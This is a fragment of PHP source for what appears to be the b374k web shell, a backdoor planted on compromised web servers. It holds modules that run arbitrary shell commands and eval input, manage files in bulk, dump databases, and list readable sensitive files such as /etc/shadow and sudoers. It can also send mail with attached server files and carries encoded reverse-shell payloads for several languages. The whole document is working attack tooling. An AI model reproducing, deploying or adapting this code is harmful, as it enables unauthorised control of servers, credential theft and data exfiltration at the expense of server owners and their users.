touch($dest, $preserveTimestamp);
}
}
elseif($massType=='copy'){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType=='chmod'){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType=='chown'){
if(chown($path, $massValue)) $counter++;
}
elseif($massType=='touch'){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output('error');
}
elseif(isset($p['viewFileorFolder'])){
$entry = $p['viewFileorFolder'];
if(is_file($entry)) output('file');
elseif(is_dir($entry)) output('folder');
output('error');
}
elseif(isset($p['terminalInput'])){
output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
$evalInput = $p['evalInput'];
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
$evalType = $p['evalType'];
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
$res = eval_get_supported();
if(empty($res)) $res = "error";
output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
Convert
convert
You can also press ctrl+enter to submit
";
if(!function_exists('decode')){
function decode($str){
$res = "";
$length = (int) strlen($str);
$res .= decode_line("md5", md5($str), "input");
$res .= decode_line("sha1", sha1($str), "input");
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
$res .= decode_line("string to hex", bin2hex($str), "textarea");
$ascii = "";
for($i=0; $i<$length; $i++){
$ascii .= ord(substr($str,$i,1))." ";
}
$res .= decode_line("ascii char", trim($ascii), "textarea");
$res .= decode_line("reversed", strrev($str), "textarea");
$res .= decode_line("lowercase", strtolower($str), "textarea");
$res .= decode_line("uppercase", strtoupper($str), "textarea");
$res .= decode_line("urlencode", urlencode($str), "textarea");
$res .= decode_line("urldecode", urldecode($str), "textarea");
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
$res .= decode_line("htmlentities", html_safe($str), "textarea");
if(function_exists('hash_algos')){
$algos = hash_algos();
foreach($algos as $algo){
if(($algo=='md5')||($algo=='sha1')) continue;
$res .= decode_line($algo, hash($algo, $str), "input");
}
}
return $res;
}
}
if(!function_exists('decode_line')){
function decode_line($type, $result, $inputtype){
$res = "".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
